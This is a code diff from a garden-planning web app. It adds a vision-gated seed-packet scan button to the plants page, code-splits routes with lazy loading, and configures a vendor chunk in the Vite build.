import { PlantPicker } from '@/editor/PlantPicker'
import { useCapabilities } from '@/lib/agent'
import { filterPlants, usePlants, type CategoryFilter, type Plant } from '@/lib/plants'
import { lotsByPlant, useSeedLots, type SeedLot } from '@/lib/seedLots'
import type { UnitPref } from '@/lib/units'
@@ -22,6 +24,7 @@ type Dialog =
| { kind: 'duplicate'; plant: Plant }
| { kind: 'delete'; plant: Plant }
| { kind: 'picker' }
| { kind: 'scan' }
| { kind: 'addLot'; plant: Plant }
| { kind: 'editLot'; plant: Plant; lot: SeedLot }
| { kind: 'deleteLot'; lot: SeedLot }
@@ -41,6 +44,7 @@ function loadUnit(): UnitPref {
export function PlantsPage() {
usePageTitle('Plants')
const plants = usePlants()
const capabilities = useCapabilities()
const seedLots = useSeedLots()
const lots = useMemo(() => lotsByPlant(seedLots.data), [seedLots.data])
const [unit, setUnit] = useState<UnitPref>(() => loadUnit())
@@ -72,6 +76,13 @@ export function PlantsPage() {
<Button variant="ghost" onClick={() => setDialog({ kind: 'picker' })}>
Try the picker
</Button>
{/* Only where a vision model is configured — otherwise the scan would
404 on the vision call, so we don't offer it. */}
{capabilities.data?.vision && (
<Button variant="ghost" onClick={() => setDialog({ kind: 'scan' })}>
Scan a packet
</Button>
)}
<Button
variant="ghost"
onClick={toggleUnit}
@@ -136,6 +147,7 @@ export function PlantsPage() {
{dialog?.kind === 'addLot' && <SeedLotModal plant={dialog.plant} onClose={close} />}
{dialog?.kind === 'editLot' && <SeedLotModal plant={dialog.plant} lot={dialog.lot} onClose={close} />}
{dialog?.kind === 'deleteLot' && <DeleteSeedLotModal lot={dialog.lot} onClose={close} />}
{dialog?.kind === 'scan' && <ScanPacketModal unit={unit} onClose={close} />}
{dialog?.kind === 'picker' && (
<PlantPicker
unit={unit}
+12 -5
View File
@@ -9,16 +9,23 @@ import { AppShell } from '@/components/layout/AppShell'
import { NotFound } from '@/components/NotFound'
import { RouteError } from '@/components/RouteError'
import { LoginPage } from '@/pages/LoginPage'
import { RegisterPage } from '@/pages/RegisterPage'
import { GardensPage } from '@/pages/GardensPage'
import { GardenEditorPage } from '@/pages/GardenEditorPage'
import { PublicGardenPage } from '@/pages/PublicGardenPage'
import { PlantsPage } from '@/pages/PlantsPage'
import { SettingsPage } from '@/pages/SettingsPage'
import { meQueryOptions } from '@/lib/auth'
import { queryClient } from '@/lib/queryClient'
import { safeRedirectPath } from '@/lib/redirect'
import { getLastGardenId } from '@/lib/lastGarden'
import { lazyPage } from '@/lib/lazyPage'
// Code-split the heavier / deeper routes so a phone on cell data doesn't download
// the whole app (notably the canvas editor with its gesture + geometry deps)
// before the first screen paints. Login and the gardens list — the entry points —
// stay eager to avoid a fallback flash on landing; AppShell wraps the Outlet in a
// Suspense boundary for the rest.
const GardenEditorPage = lazyPage(() => import('@/pages/GardenEditorPage'), 'GardenEditorPage')
const PublicGardenPage = lazyPage(() => import('@/pages/PublicGardenPage'), 'PublicGardenPage')
const PlantsPage = lazyPage(() => import('@/pages/PlantsPage'), 'PlantsPage')
const SettingsPage = lazyPage(() => import('@/pages/SettingsPage'), 'SettingsPage')
const RegisterPage = lazyPage(() => import('@/pages/RegisterPage'), 'RegisterPage')
interface RouterContext {
queryClient: QueryClient
+24
View File
@@ -29,6 +29,30 @@ export default defineConfig(({ mode }) => {
build: {
outDir: 'dist',
sourcemap: true,
rollupOptions: {
output: {
// The app-wide core goes in ONE cached vendor chunk (rarely changes, so
// it survives deploys while the tiny app chunk churns). react + react-dom
// + scheduler MUST stay together — splitting react-dom into its own chunk
// reorders module init across chunk boundaries and breaks React 19 at
// load ("Cannot set 'Activity' of undefined"). Everything else — the
// gesture engine, the assistant's markdown renderer + its ecosystem —
// rides with whatever imports it, so a lazily-loaded route/feature keeps
// it out of the eager first paint. The routes are code-split via
// React.lazy (router.tsx), where the real first-paint win is.
manualChunks(id) {
if (!id.includes('node_modules')) return undefined
if (
/[/\\]node_modules[/\\](react|react-dom|scheduler|@tanstack|zustand|zod|clsx|tailwind-merge)[/\\]/.test(
id,
)
) {
return 'vendor'
}
return undefined
},
},
},
},
}
})